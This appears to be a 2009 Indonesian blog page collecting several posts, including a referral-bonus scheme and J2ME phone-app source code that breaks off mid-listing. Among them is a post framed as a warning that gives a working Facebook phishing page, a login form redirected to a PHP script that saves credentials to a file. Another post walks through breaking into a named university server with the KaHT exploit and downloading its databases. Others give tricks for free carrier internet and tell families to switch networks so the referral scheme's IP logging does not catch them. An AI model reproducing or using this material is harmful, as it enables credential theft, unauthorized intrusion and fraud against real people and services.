Minggu, 29 November 2009

Kali ini, kami akan mengajarkan kembali pada anda cara mendapatkan 1 Dollar setiap anda mengajak 1 orang. Namun dengan program yang berbeda.
KLIK DISINI jika ingin mendapatkan 100 Dollar ke rekening anda.
Kami ajarkan Step by Stepnya :
1. KLIK DISINI
2. Jika email anda sudah terdaftar di Paypal. Klik Tulisan “CLICK HERE”
wishlist bisnis online Cara Mendapat 100 Dollar dari Facebook, GRATIS
Jika anda belum terdafatar di Paypal, daftarkan diri anda ke Paypal (ini untuk menerima pembayaran anda, cara pendaftarannya cukup mudah)
a. Klik Sign Up
paypal1 bisnis online Cara Mendapat 100 Dollar dari Facebook, GRATIS
b. Pilih negara dan bahasa, gunakan bahasa Indonesia jika anda kurang mengerti bahasa Inggris.  Lalu pilih Pribadi, dan Klik tombol Memulai
paypal2 bisnis online Cara Mendapat 100 Dollar dari Facebook, GRATIS
Isi data diri anda, lalu Klik Tombol “Setuju dan buat rekening”.
Jika anda tidak memiliki Kartu Kredit, hilangkan centang pada Tulisan”hubungkan kartu kredit saya…”
cc bisnis online Cara Mendapat 100 Dollar dari Facebook, GRATIS
Dan setelah itu, anda tetap ditanyai kartu kredit, tapi abaikan jika tidak punya.
masukrek bisnis online Cara Mendapat 100 Dollar dari Facebook, GRATIS
Setelah itu anda akan masuk ke menu Utama Rekening anda dengan saldo awal $0, kecuali jika anda memsukkan kartu kredit, anda akan mendapat $2 yang diambil dari kartu kredit anda sebagai verifikasi.
3. Setelah anda memsukkan email pada tulisan CLICK HERE Sesuai dengan tahap ke 2, Klik Submit
submit bisnis online Cara Mendapat 100 Dollar dari Facebook, GRATIS

SELAMAT !!! ANDA MENDAPAT 1 DOLLAR PERTAMA ANDA

Mudah bukan.
Nah kalau ingin mendapat 100 Dollar, ajak 99 orang temanmu untuk bergabung.
4. Pilih produk yang anda inginkan. Dan itu sekaligus akan berfungsi sebagai pengajak teman2 anda di Facebook.
wishlist3 bisnis online Cara Mendapat 100 Dollar dari Facebook, GRATIS

Masa promosi program ini hingga 31 Desember 2009. Jadi jangan tunda lagi, segera bergabung…

Pembayaran via paypal pada 28 Februari 2010. Dan maksimal bonus hanya 100 Dollar.
Kalau Sekeluarga ikut semua, ibu, ayah, kakak, adik, kakek, nenek, dan anda. Maka sekeluarga bisa mendapatkan

700 Dollar

Cukup untuk biaya berlibur sekeluarga, atau membangun usaha, atau apapun yang keluarga anda inginkan. Namun perlu diingat. Gunakan jaringan internet yang berbeda jika sekeluarga ingin mendaftar, karena IP Address akan tercatat.
Beberapa bulan terakhir, Facebook yang merupakan social network (jejaring sosial) terbesar sering mendapat phising baik itu dari email, IM seperti yahoo messenger, maupun dari pesan dari contact list facebook sendiri.
Serangan phising terbesar menurut facebook dilakukan oleh 2 website yaitu FBStarter.com dan BAction.net beberapa waktu lalu. Meraka biasa mengirim pesan berupa kata-kata “Check this out”. Kemudian mereka mengundang korban untuk meng-klik link yang akan membawa mereka keluar dari Facebook.
Pihak Facebook menyatakan bahwa serangan tersebut berhenti setiap beberapa jam pada tiap kasusnya. Facebook juga menyatakan bahwa belum ada kepastian apakah serangan dari kedua website tersebut saling terkait atau tidak.
Facebook telah menghapus URL tersebut dari member page dan membuang URL yang ada di pesan mail. Untuk user yang telah terjebak phising ini, pihak Facebook telah mereset password mereka. Facebook juga menganjurkan para usernya untuk tidak meng-click link yang mencurigakan serta menganjurkan para user yang telah menjadi korban untuk segera mengganti password.
Phising merupakan proses untuk mendapatkan informasi sensitif seperti username, password dan bahkan sampai detail kartu kredit dengan berpura-pura menjadi website asli.
Biasanya si pelaku memancing korbannya untuk masuk ke website yang dibuat mirip dengan website aslinya. Pada website palsu itu, si pelaku telah menaruh box username dan password dan meminta korban untuk login. Jadi di sini si pelaku melakukan penipuan login atau biasa di sebut fake login.
Bagaimana kita tahu kalau itu fake login ?
Untuk mengetahui itu web phising yang menggunakan fake login, kita harus teliti url untuk login di facebook itu sendiri. Untuk login, facebook menggunakan url https://login.facebook.com/login.php
Contoh Web phising dengan fake login
Coba anda akses http://facebook.ariefew.com dulu dan lakukan login dengan username dan password palsu !!
Tampilan utama menggunakan source code dari https://login.facebook.com/login.php yang disimpan menjadi index.html. Tapi di index.html ini kita tambahi di form dengan pemanggilan code php untuk penyimpanan username dan password yang diisikan.
..
<form method=”POST” action=”logs.php” name=”menubar_login”
id=”menubar_login”
><input type=”hidden” name=”charset_test”
value=”&euro;,&acute;,€,´,?,?,?” /><input type=”hidden” id=”locale”
name=”locale” value=”en_US” /><table cellpadding=”0″ cellspacing=”0″><tr><td
class=”login_form_label_field login_form_label_remember”><label><input
type=”checkbox” name=”persistent” value=”1″ />Remember Me</label></td><td
class=”login_form_label_field”><a href=”http://www.facebook.com/reset.php”
rel=”nofollow”>Forgot your password?</a></td><td class=”login_form_last_field
login_form_label_field”></td></tr><tr><td><input type=”text” class=”inputtext”
id=”email” name=”email” value=”" /></td><td><input type=”password”
class=”inputpassword” id=”pass” name=”pass” value=”" /><input type=”text”
class=”inputtext hidden_elem” id=”pass_placeholder” name=”pass_placeholder”
value=”" /></td><td class=”login_form_last_field”><div
class=”UILinkButton”><input type=”submit” class=”UILinkButton_A” value=”Login”
/><div class=”UILinkButton_RW”><div
class=”UILinkButton_R”></div></div></div></td></tr></table><input type=”hidden”
name=”charset_test” value=”&euro;,&acute;,€,´,?,?,?” /></form>
Lihat code yang di cetak tebal tersebut, code asli dari facebook adalah

<form id=”login_form”
action=”https://login.facebook.com/login.php?login_attempt=1″ method=”POST”>
Yang tercetak tebal, yaitu :
<form method=”POST” action=”logs.php” name=”menubar_login”
id=”menubar_login”>
adalah pengisian dari form tersebut kita akan diarahkan ke logs.php.
Sedangkan isis dari logs.php adalah pencatatan dari pengisian username dan password tersebut.
<?php
header(”Location:http://www.facebook.com/”);
$handle = fopen(”passwords.txt”, “a”);
foreach($_GET as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, “=”);
fwrite($handle, $value);
fwrite($handle, “rn”);
}
fwrite($handle, “rn”);
fclose($handle);
exit;
?>
Pengisisan di web phising yang menggunakan fake login facebook ini akan tersimpan di passwords.txt secara terus menerus……..
Bahaya kan……
Semoga menjadi pencerahan bagi teman-teman yang beberapa hari lalu menanyakan hal ini padaku lewat YM.
isat pake proxo + YF + openVPN
Sebelum dial-up pilih property >> Networking >> TCP / IP >> Properties >> Advanced >> Hilangin tanda centang yg ada di general
Sett Proxo >> Headers >> New >> HTTP Header diisi host:indosat >> URL Match kosongin >> Header Value Match * (bintang) >> Replacement text 202.87.46.133 >> Ok >> Apply >> centang out >> ok Proxy 10.19.19.19:8080 (proxy isat)
Internet Gratis Indosat dan IM3
Internet Gratis Indosat dan IM3
Internet Gratis Indosat dan IM3
Sett YF >> configuration >> address terserah ems berapa, protocol https >> proxy setting 127.0.0.1:8080
Internet Gratis Indosat dan IM3
..
Internet Gratis Indosat dan IM3
>> OpenVPN setting diisi C:Program FilesOpenVPNbinopenvpn.exe (tergantung tempat instal, openVPN hrs diinstal) >> save&exit
Internet Gratis Indosat dan IM3
>> buka port centang semua >> web proxy 4444 (terserah, yg penting sett proxy browser jg ngikut 4444) >> start connection

Sett proxy browser 127.0.0.1:4444 (ngikut port proxy web YF)
=============================================================
TRIK TANPA PROXO
Your Freedom Configure :
  • Server connection, address : wap3g.indosat.com@ems…… atau 202.87.46.133@ems…..
  • Port : 443, protocol : HTTPS
  • Proxy Settings, proxy:10.19.19.19:8080
  • Save & Exit
  • Start connection
  • Sett proxy browser 127.0.0.1:8080
============================================================= TRIK MMS GRATIS INDOSAT
Ganti settingan MMS Homepage jadi https://smsc.indosat.com


Sebenernya cara ini adalah cara yang digunakan untuk mempercepat kecepatan ineternet kita pada windows XP.
Inti nya adalah windows XP tersetting secara default akan mengambil 20% dari kecepatan akses internet kita yang 100%.
Sebenar nya, ada beberapa software juga yang dapat kita gunakan untuk membatasi pemakaian bandwidth pada tiap komputer client, tapi cara ini belum dapat menjamin 100% bandwidth komputer client di warnet terbagi secara adil.
Nah, cara yang akan saya gunakan adalah dengan cara mensetting % penggunaan bandwidth client yang di setting melalui windows itu sendiri.
Cara nya adalah sebagai berikut:
1. Klik start ==> run
2. Lalu ketik gpedit.msc, Kemudian setelah itu keluar kotak “Group Policy”
3. Di “ Computer Configuration “, Pilih “Administrative Templates“
4. Lalu pilih “ Network “
5. Klik pada “QoS Packet Scheduler “
6. Setelah itu Pilih Pada “ Limit reservable Bandwidth “
7. Pilih dari “ Not Configured “ menjadi “ Enable “
8. Setelah itu Pada tabel bawah pada tulisan “ Bandwidth Limit % “ Ubah Dari “20” Menjadi “80 atau 20”, Lalu “Apply” , “ OK “. setting ini tergantung dari jumlah komputer, jika kita mau setting setiap komputer dapet bandwith 10% maka kita tinggal masukan angka 90%, bila setiap komputer ingin kita set dapat 20% maka tinggal kita masukan angka 80%.
semoga membantu.
Untuk menghajar data base server persiapannya gampang kok…, tinggal mengenali apakah di sana maksudnya di kampus ada hotspot ato tidak … kalo ada ya tinggal menyiapkan tools yang harus di bawa..

1. Laptop .. jelas laptop lah wajib … jika di universitas ada hotspot nah itu sasaran empuk untuk di kerjai …
2. Persiapan kedua harus mengenali server di sana … maksudnya server tersebut memakai jenis apa aja sih??? Jika memakai windows ya gunakan atau kumpulkan exploit windows di laptop anda, kalau pakai linux ya siapkan exploit linux di laptop anda.
3. Nah selanjutnya adalah kendaraan untuk ke kampus … untuk menjemput hotspot di sana …
4. Softwarer yang digunakan :
a. AngryIPscanner
b. Kaht
c. DOS (Diskette Operating System)

PROSES PENYUSUPAN

OKE INI bagian yang ditunggu tunggu kan ….. pertama cari aja hotspot mo di perpus atau di lobby, mending cari aja tempat sepi …

Bagaimana cara mengetahui IP Adress? Gampang …coba lihat di kanan bawah windows … ada kan gambar icon yang tersambung ke hotspot server … nah klik 2 kali aja: Na kliatan kan kita telah masuk kek jaringan hotspot nya … soalnya server memakai metode DHCP, istilahnya sambung langsung, jadi kita mendapat IP address langsung:

IP Address : 192.168.4.173 (ip address kita)
Subnet : 255.255.255.0
Default Gateway : 192.168.4.1 ( nah ini adalah server gatewaynya atau istilahnya wireless server nya lah)
Nah kalau sudah kemudian gunakan AngryIPScanner untuk memetakan jaringan yang di sana … seperti pada gambar :



wow wow wow ternyata banyak yah server yang idup…. , pertama kita tentukan aja IP address yang discan … misalnya 192.168.1.0 sampai 192.168.1.255. Di situ terlihat kan ada komputer dosen – dosen dan server YKPN itu sendiri …. Ck ck ck …kenapa harus memakai orang dalem … orang luar aja bisa kok mengubah nya sendiri … oke … kita pilih yang ada kata2 servernya SERVERBOX dengan IP adress 192.168.1.237 yah gambling ajah dulu ….

Setelah itu coba pakai exploit KaHT, apa itu KaHT, baca aja sendiri … banyak di google okeh … cari ajah…:



Untuk menjalankan KaHT harus masuk ke DOS mode dulu, kemudian jalankan KaHT.exe nah setelah itu … akan muncul gambar seperti di atas… untuk sintaks penulisan KaHT adalah :

KaHT IP address1 [spasi] ipaddress2

Contoh penulisan untuk bisa masuk ke database YKPN:

KaHT 192.168.17.235 192.168.17.237

Nah setelah ketik sintaks di atas, tekan enter :




BANG BANG BANG!!!! Mati ………… kita sudah dapat masuk ke host SERVERBOX, nah coba kita melihat2 isi dalamnya yak … ada apa di sana:



suit suit……… apa tuh perpustakaan.mdb,… kliatannya file database tuh …. Silakan aja donlot … coba ke direktori lainnya :



Hmmm…. Coba liat di gambar …. Wauw akademik-info.adp ukurannya gigabyte … hmmm… silahkan aja lah … teserah mo diapain …

For admin please patch your system … mungkin serverbox hanya sekedar infocenter … tapi dengan cara seperti ini kemungkinan serverppmb atau yang lainnya dapat dimasuki oleh yang lain …

Maaf kalau sedikit agak radikal …. Ya bukan mau menunjukkan gigi, tapi hanya membongkar fakta sebenarnya aja … semoga dapat diambil hikmah positif-nya dari artikel ini .. jadi jangan diambil negatif nya yah … tolong tolong … di atas langit masi ada langit … saya bukan yang ter expert dalam hal ini … masi ada yang lebih jago kok … thanks ….

Sabtu, 28 November 2009

Sebelum mempelajari sesuatu biasanya karena seseorang itu ingin bisa sesuatu juga, contoh belajar nyetir mobil agar nyetir mobil dan syukur syukur agar bisa beli mobil, belajar komputer dan internetan agar bisa FS-an, belajar pemrograman JAVA karena agar bisa dapet nilai yang bagus dari pak Dosen…hayah ga nyambung kabeh. sudah lupakan contoh contoh tadi.
Dulu awal aku belajar J2ME karena ingin bisa membuat aplikasi di handphone yang bisa kirim sms. Walopun udah sering belajar tapi ternyata masih sedikit kebisaanku dalam hal ini, tapi jangan putus asa, aku harus giat belajar…. oya bagi yang baru belajar sama seperti aku dibawah ini nanti ada source code aplikasi untuk kirim dan terima sms. masih sederhana sih. makanya ini hanya bagi yang baru belajar aja, liat aja sesuai dengan judulnya kan. Bagi yang udah master mohon koreksi ya jika ada yang salah. trus kalo ada yang mau belajar dan mendiskusikan source code yang aku buat ini, semoga ini bisa menjadi ajang buat diskusi. dan dibikin asik aja.
Ok. source codenya (beserta penjelasannya, walopun gak informatif banget tp lumayan lah) adalah :

import java.util.*;
import java.io.IOException;
import javax.microedition.io.*;
import javax.microedition.lcdui.*;
import javax.wireless.messaging.*;
import javax.microedition.midlet.*;

/**
* @author viandra
* @see http://www.viandrafunky.co.cc
*/
public class smsKu extends MIDlet implements CommandListener, Runnable,
MessageListener {

Display display;
Form form;
List menuList; //list untuk menu awal
Command exitCom, replyCom, backCom, clrCom, sendCom; //macem macem command yg digunakan
TextBox textSmsMasuk, textSmsKeluar; //tempat untuk text sms yg masuk dan yg mau dikirim
TextField textNo; //untuk tempat memasukan no tujuan
String port, isiSmsKeluar; //port dan isi sms
Thread thread;
String[] connections;
boolean done;
MessageConnection smsconn;
Message msg;

public smsKu() {
display = Display.getDisplay(this);
form = new Form("sms-an Yuk");
exitCom = new Command("keluar", Command.EXIT, 1);
replyCom = new Command("balas", Command.SCREEN, 1);
backCom = new Command("Kembali", Command.BACK, 3);
clrCom = new Command("Hapus Tulisan", Command.OK, 2);
sendCom = new Command("Kirim", Command.OK, 1);
menuList = new List("Menu sms Ku", List.IMPLICIT);
port = "4321"; //port yang aku gunakan, silakan ganti sesuai keinginan masing masing
textSmsMasuk = new TextBox(null, null, 500, TextField.ANY);
textSmsKeluar = new TextBox("Silakan Menulis Sms", null,
500, TextField.ANY);
textNo = new TextField("Masukan Nomor Tujuan", "",
15, TextField.PHONENUMBER);
}

public void startApp() {
bukaKoneksi(); //disini membuka koneksi untuk siap menerima sms masuk
menu(); // bikin tampilan menu awal
}

public void pauseApp() {
}

public void destroyApp(boolean unconditional) {

//sebelum aplikasinya keluar ato mati koneksi ditutup dulu
done = true;
thread = null;
if (smsconn != null) {
try {
smsconn.close();
} catch (IOException e) {
}
}

//disini mati deh aplikasi kita
notifyDestroyed();
}

public void menu() { //membuat menu awal untuk sementara ini baru ada 3 menu dulu
menuList.append("Tulis Sms", null);//1. menu tulis sms baru
menuList.append("about", null);      //2. menu about (gak penting sih sebenarnya)
menuList.append("Keluar", null);     //3. menu untuk keluar aplikasi
menuList.addCommand(exitCom);  //add command keluar
menuList.setCommandListener(this);
display.setCurrent(menuList);
}

public void tulisSms() { //membuat textbox untuk menulis sms baru
textSmsKeluar.addCommand(sendCom); //add command untuk kirim
textSmsKeluar.addCommand(clrCom);  // add command untuk clear text
textSmsKeluar.addCommand(backCom); //add command untuk kembali kemenu awal
textSmsKeluar.setCommandListener(this);
display.setCurrent(textSmsKeluar);
}

public void masukNo() { //disini untuk memasukan nomor tujuan yang mau dikirimi sms
form.setTitle("Sms Siap dikirim"); //udah taukan yang ini?
form.append(textNo); //menambahkan textField untuk nomor tujuan
form.addCommand(backCom); //menambahkan command untuk kembali ke menu awal
form.addCommand(sendCom); //menambahkan command untuk mengirim
form.setCommandListener(this);
display.setCurrent(form);
}

public void kirim() { //disini sms yang udah ditulis dikirim dengan perintah dibawah ini
new Thread(new Runnable() {
//perhatiin ya
public void run() {
try {
String isiSms = isiSmsKeluar;
String noTujuan = textNo.getString();
String address = "sms://" + noTujuan + ":" + port;
MessageConnection smsConnKir = null;
Message isiSmsNya = null;
smsConnKir = (MessageConnection) Connector.open(address);
TextMessage txtmessage =
(TextMessage) smsConnKir.newMessage(MessageConnection.TEXT_MESSAGE);
txtmessage.setAddress(address);
txtmessage.setPayloadText(isiSms);
isiSmsNya = txtmessage;
smsConnKir.send(isiSmsNya);

} catch (Throwable t) {
t.printStackTrace();
}
}
}).start();
}

public void terima(String isi, String no, Date tgl) { //ini untuk tempat membaca sms yang masuk
String nonya = fixNomer(no);
textSmsMasuk = new TextBox("Sms dari:" + nonya + " " + tgl, isi,
isi.length(), TextField.ANY);
textSmsMasuk.addCommand(replyCom);
textSmsMasuk.addCommand(exitCom);
textSmsMasuk.setCommandListener(this);
display.setCurrent(textSmsMasuk);
}

public void bukaKoneksi() { //membuka koneksi agar bisa menerima sms yg masuk
String smsConnection = "sms://:" + port;
done = true;
thread = null;

try {
smsconn = (MessageConnection) Connector.open(smsConnection);
smsconn.setMessageListener(this);
} catch (IOException ioe) {
ioe.printStackTrace();
}

connections = PushRegistry.listConnections(true);

done = false;
thread = new Thread(this);
thread.start();
}

public void tutupKoneksi() { //untuk menutup koneksi sms
try {
smsconn.close();
} catch (IOException e) {
}
}

public String fixNomer(String no) {
//dari format no gini "sms://+6285XXXX" jadi "+6285XXX" gitu fungsinya disini itu

String hs = null;
hs = no.substring(6, no.length());
return hs;
}

public void commandAction(Command c, Displayable d) {
if (c == exitCom) {
destroyApp(true);
}
if (d == menuList) {
if (menuList.isSelected(0)) {
tulisSms();
} else if (menuList.isSelected(1)) {
Alert about = new Alert("About", "Aplikasi SMS buatan sendiri",
null, AlertType.INFO);
display.setCurrent(about);
} else if (menuList.isSelected(2)) {
destroyApp(true);
}
}
if (d == textSmsKeluar) {
if (c == sendCom) {
form.deleteAll();
masukNo();
} else if (c == clrCom) {
textSmsKeluar.setString("");
} else if (c == backCom) {
display.setCurrent(menuList);
}
}
if (d == textSmsMasuk) {
if (c == exitCom) {
display.setCurrent(menuList);
} else if (c == replyCom) {
tulisSms();
}
}
if (d == form) {
if (c == backCom) {
form.deleteAll();
display.setCurrent(textSmsKeluar);
} else if (c == sendCom) {
isiSmsKeluar = textSmsKeluar.getString();
textSmsKeluar.setString("");
kirim();
}
}
}

public void run() { //untuk menerima sms yang masuk
try {
msg = smsconn.receive();
String senderAddress = msg.getAddress();
Date waktuSms = msg.getTimestamp();
if (msg instanceof TextMessage) {
String isiSmsMasuk = ((TextMessage) msg).getPayloadText();
terima(isiSmsMasuk, senderAddress, waktuSms);//ini memasukan sms yg diterima ke textbox
}
tutupKoneksi();
bukaKoneksi();
} catch (IOException e) {
}
}

public void notifyIncomingMessage(MessageConnection conn) {
if (thread == null) {
done = false;
thread = new Thread(this);
thread.start();
}
}
}
setelah source code nya, biar afdol tak kasih juga scrinsutnya:
skrinsut1
diatas ini skrinsut awal saat aplikasi dijalankan. ada 3 menu. lumayankan kalo untuk belajar. besok di tambah lagi ada menu inboxnya. sengaja tak jalankan di dua emulator agar bisa dicoba buat kirim dan menerima sms. hp putih akan mencoba mengirim sms ke hp hitam. si putih tadi memilih menu “Tulis Sms”
skrinsut2
Sekarang si putih menulis pesan yang akan dikirimnya, si hitam stand by aja.
skrinsut3
Setelah dirasa cukup menulis pesannya, si putih memilih tomb0l kirim dan memasukan no tujuan punya si hitam. kemudian siputih menekan tombol kirim.
skrinsut4
kita liat setelah si putih menekan tombol kirim ga berapa lama sihitam menerima sms yang dikirim oleh si putih, dan di bacanya. Karena ditanyain kabarnya, si hitam ingin membalas sms dari siputih tadi. maka dia pilih tombol balas. si putih tentunya diem aja, karena menunggu balesan sms nya.
skrinsut5
Si hitam menulis sms balasannya, dah cukup menulis, si hitam tekan tombol kirim.
skrinsut6
si hitam memasukan no tujuan punya si putih, dan dikirim sms balesannya.
skrinsut7
Alhammdulillah sms balesan dari si hitam udah masuk ke si putih dan sedang dibaca oleh si putih.
Nah begitu seterusnya si putih kemudian membalas lagi, si hitam juga. mereka saling berbalas sms sampe pulsa mereka habis, selain itu juga jempol mereka udah capek ngetik sms. ceritanya sampe disini dulu.
oya yang mau aplikasi jadinya program kita diatas tadi download disini.
Nah lo menu yang lain kok ga di peragakan juga? gak ah, bisa coba sendiri, namanya belajar kok jadi harus banyak coba coba sendiri kan?
diatas tadi sekilas source code untuk kirim dan terima sms dengan j2me, besok aplikasi diatas ditambah dengan menu inbox, outbox, trus menu settings…udah deh kebanyakan. untuk menyimpan Sms di inbox dan outbox enaknya pake database aja nih. pake RMS tentunya. jadi belajar dulu RMS yuk. yukk…. :D
Aplikasi ini terdiri dari 2 bagian, yaitu sisi klien dan sisi server. Sisi client, yang diberikan pada bagian I ini, dibuat dengan menggunakan Java 5.0 dan WTK 2.0, sedangkan bagian server, dibuat dengan menggunakan
ASP. Aplikasi client nantinya akan di-deploy ke dalam ponsel dalam bentuk midlet, sedangkan aplikasi server diletakkan pada server internet.
Untuk memudahkan pemahaman, hanya ada 1 kelas java, yaitu class bioskop. Cara kerjanya sbb:
  1. User menjalankan midlet dan menuju ke menu utama yg berisi pilihan untuk melihat informasi film, jadwal film, dan melakukan transaksi ticketing.
  2. Jika menu info film dan jadwal film dipilih, aplikasi akan melakukan koneksi ke aplikasi server via internet dengan menggunakan metode koneksi StreamConnection. Metode ini dipilih krn pengimplementasiannya cukup sederhana dan mudah dipahami. Cara lain yg dapat digunakan adalah metode HTTPConnection. Pada saat koneksi berlangsung, server akan mengirimkan output berupa info/jadwal film yg diminta ke client. Selanjutnya client akan memproses output tsb dan menampilkan hasilnya ke layar ponsel.
  3. Apabila menu transaksi yg dipilih, user akan melakukan pengisian sejumlah form. Stl itu, aplikasi client akan melakukan koneksi ke server untuk men-trigger proses update pada database yang terdapat di server internet. Status transaksi akan dikembalikan oleh server ke client dan ditampilkan ke layar ponsel.
  4. Selesai :d
Berikut ini source code dari bioskop.java. Lumayan panjang :) ) tapi baru 900 baris kok, belum nyampe 1000 :p Kalo ada error, dicoba dibenerin sendiri yeeee :p[##] [##] [##] [##] [##] Biar semangat, ayo nari dulu bareng Spongebob!!! [##] [##] [##] [##] [##[java]//nama kelas : bios//nama file : bioskop.java
//author : cosa aranda & christina fdl
//import paket yang diperlukan
import javax.microedition.midlet.*;
import javax.microedition.lcdui.*;
import javax.microedition.io.*;
import javax.microedition.rms.*;
import java.io.*;
import java.util.Vector;
import java.util.Date;
public class bioskop extends MIDlet implements Runnable, CommandListener {
//deklarasi variabel
private Display display; //interface tampilan
private List menu; //menu untuk tampilan yg menggunakan pilihan menu
private Form form; //form untuk tampilan yg tidak menggunakan pilihan menu
private Ticker ticker; //teks berjalan di bagian atas layar
private Command cmdBack, cmdOK, cmdExit, cmdAbout; //command di bagian bawah layar
//cmdBack untuk kembali ke tampilan sebelumnya
//cmdOK untuk proses form
//cmdExit untuk keluar dari program
//cmdAbout untuk menampilkan informasi program
private TextField txtNama,txtAlamat,txtNoKTP,txtJumlah,txtTransaksi; //textfield pada form
private ChoiceGroup group; //radiobutton pada form
private StringItem strStatus,strMemo; //stringitem pada form
private DateField tanggal; //tanggal pada form
private String currentWindow; //menyimpan lokasi tampilan yg aktif saat ini (menu/form)
private Vector dataTemp; //array penyimpanan sementara
//untuk feedback dari koneksi ke server
private String strTemp; //string penyimpanan sementara
private Thread thread; //thread untuk proses koneksi ke server
private RecordStore database; //database rms untuk menyimpan id transaksi
//konstruktor class – dijalankan pertama kali
public bioskop() {
//arahkan variabel display supaya mengacu pada layar program
display = Display.getDisplay(this);
//inisialiasi command – prioritas 0 di kanan bawah, prioritas 1 di kiri bawah
cmdBack = new Command(”Kembali”,Command.BACK,1);
cmdExit = new Command(”Keluar”,Command.STOP,1);
cmdOK = new Command(”OK”,Command.OK,0);
cmdAbout = new Command(”Tentang”,Command.SCREEN,0);
}
//dijalankan saat program dijalankan
public void startApp() {
//siapkan datatabase rms
bukaDatabase();
//tampilkan menu utama
menuUtama();
}
//dijalankan saat program dipause
public void pauseApp() {
//display = null;
//menu = null;
}
//dijalankan saat program ditutup
public void destroyApp(boolean b) {
notifyDestroyed();
}
//destruktor class – dijalankan saat keluar program, akan mentrigger fungsi destroyApp
private void keluar() {
try {
//tutup database
tutupDatabase();
//jika sukses, tutup program
this.destroyApp(true);
} catch(NullPointerException e) { //ignore jika ada error, tetap tutup program
this.destroyApp(true);
}
}
//fungsi untuk melakukan koneksi ke internet dengan menggunakan StreamConnection
//digunakan untuk mengambil data dari web atau mengirim data form dengan metode GET
//input : alamat URL yang akan diakses
//output : array dataTemp berisi output
private void openURL(String URLSite) {
//deklarasi dan inisialiasi variabel koneksi
StreamConnection con = null;
InputStream in = null;
//stringbuffer – penyimpanan sementara untuk output
StringBuffer data = new StringBuffer();
//kosongkan array dataTemp
dataTemp = new Vector();
try {
//lakukan koneksi ke URLSite
con = (StreamConnection)Connector.open(URLSite);
//buka input stream
in = con.openInputStream();
int ch;
//baca output dari input stream karakter per karakter hingga output habis
//ch menampung karakter yang saat ini sedang dibaca (in.read())
//jika output sudah habis, ch akan bernilai -1
while ((ch=in.read()) != -1) {
//jika ch <> “|”
if (ch!=’|') {
//tambahkan ch ke dalam string penyimpanan sementara (stringbuffer)
data.append((char)ch);
} else if (ch==’|') { //jika ch = “|”
//tambahkan stringbuffer ke dalam array dataTemp
dataTemp.addElement(data.toString());
//kosongkan kembali stringbuffer
data = new StringBuffer();
}
}
//jika output habis, tambahkan stringbuffer ke dalam array dataTemp
dataTemp.addElement(data.toString());
} catch (IOException e) {
formError(”Ada kesalahan!”);
}
}
//fungsi untuk membuat tampilan menu utama
private void menuUtama() {
//simpan lokasi tampilan
currentWindow = “menuUtama”;
//set tulisan pada ticker
ticker = new Ticker(”Selamat Datang di Bioskop Online”);
//siapkan menu
menu = new List(”Menu Utama”,Choice.IMPLICIT);
//tambahkan pilihan menu
menu.append(”Info Film”,null);
menu.append(”Jadwal Film”,null);
menu.append(”Pesan Tiket”,null);
//tambahkan command
menu.addCommand(cmdExit); menu.addCommand(cmdAbout);
//tempelkan ticker ke menu
menu.setTicker(ticker);
//set CommandListener untuk mengacu pada fungsi CommandAction di class ini
//fungsi tsb dijalankan jika salah satu command / pilihan menu dipilih
menu.setCommandListener(this);
//tampilkan menu ke layar
display.setCurrent(menu);
}
//fungsi untuk membuat tampilan menu Info Film
private void menuInfo () {
//simpan lokasi tampilan
currentWindow = “menuInfo”;
//set tulisan pada ticker
ticker = new Ticker(”Informasi dan Sinopsis Film”);
menu = new List(”Menu Info Film”,Choice.IMPLICIT);
//karena ada pengkasesan ke internet (baca judul film – movie.asp), siapkan thread
if (thread==null) {
thread = new Thread(this);
}
//jalankan thread
thread.start();
//tambahkan command
menu.addCommand(cmdBack);
//tempelkan ticker ke menu
menu.setTicker(ticker);
//set CommandListener untuk mengacu pada fungsi CommandAction di class ini
//fungsi tsb dijalankan jika salah satu command / pilihan menu dipilih
menu.setCommandListener(this);
//tampilkan menu ke layar
display.setCurrent(menu);
}
//fungsi untuk membuat tampilan form Info Film
private void formInfo(String title) {
//simpan lokasi tampilan
currentWindow = “formInfo”;
//set tulisan pada ticker
ticker = new Ticker(”Informasi dan Sinopsis Film”);
form = new Form(title);
//karena ada pengkasesan ke internet (baca informasi film – movie.asp?movie=judulfilm), siapkan thread
if (thread==null) {
thread = new Thread(this);
}
//jalankan thread
thread.start();
//tambahkan command
form.addCommand(cmdBack);
//tempelkan ticker ke form
form.setTicker(ticker);
//set CommandListener untuk mengacu pada fungsi CommandAction di class ini
//fungsi tsb dijalankan jika salah satu command / pilihan menu dipilih
form.setCommandListener(this);
//tampilkan form ke layar
display.setCurrent(form);
}
//fungsi untuk membuat tampilan form Jadwal Film
private void formJadwal() {
//simpan lokasi tampilan
currentWindow = “formJadwal”;
//set tulisan pada ticker
ticker = new Ticker(”Jadwal Pemutaran Film Hari Ini”);
form = new Form(”Jadwal Hari Ini”);
//karena ada pengkasesan ke internet (baca jadwal film – jadwal.asp), siapkan thread
if (thread==null) {
thread = new Thread(this);
}
//jalankan thread
thread.start();
//tambahkan command
form.addCommand(cmdBack);
//tempelkan ticker ke form
form.setTicker(ticker);
//set CommandListener untuk mengacu pada fungsi CommandAction di class ini
//fungsi tsb dijalankan jika salah satu command / pilihan menu dipilih
form.setCommandListener(this);
//tampilkan form ke layar
display.setCurrent(form);
}
//fungsi untuk membuat tampilan menu Pesan Tiket
private void menuPesan() {
//simpan lokasi tampilan
currentWindow = “menuPesan”;
//set tulisan pada ticker
ticker = new Ticker(”Pemesanan Tiket Bioskop Online”);
menu = new List(”Pesan Tiket”,Choice.IMPLICIT);
menu.append(”Pesan”,null);
menu.append(”Batal”,null);
menu.append(”History”,null);
//tambahkan command
menu.addCommand(cmdBack); menu.addCommand(cmdOK);
//tempelkan ticker ke menu
menu.setTicker(ticker);
//set CommandListener untuk mengacu pada fungsi CommandAction di class ini
//fungsi tsb dijalankan jika salah satu command / pilihan menu dipilih
menu.setCommandListener(this);
//tampilkan menu ke layar
display.setCurrent(menu);
}
//fungsi untuk membuat tampilan form Pesan Tiket
private void formPesan() {
//simpan lokasi tampilan
currentWindow = “formPesan”;
//set tulisan pada ticker
ticker = new Ticker(”Pemesanan Tiket Bioskop Online”);
form = new Form(”Pemesanan Tiket”);
txtNama = new TextField(”Nama”,”",25,TextField.ANY);
txtAlamat = new TextField(”Alamat”,”",50,TextField.ANY);
txtNoKTP = new TextField(”No KTP”,”",20,TextField.ANY);
txtJumlah = new TextField(”Jumlah”,”",3,TextField.ANY);
group = new ChoiceGroup(”Studio / Waktu”,Choice.EXCLUSIVE);
tanggal = new DateField(”Tanggal”,DateField.DATE);
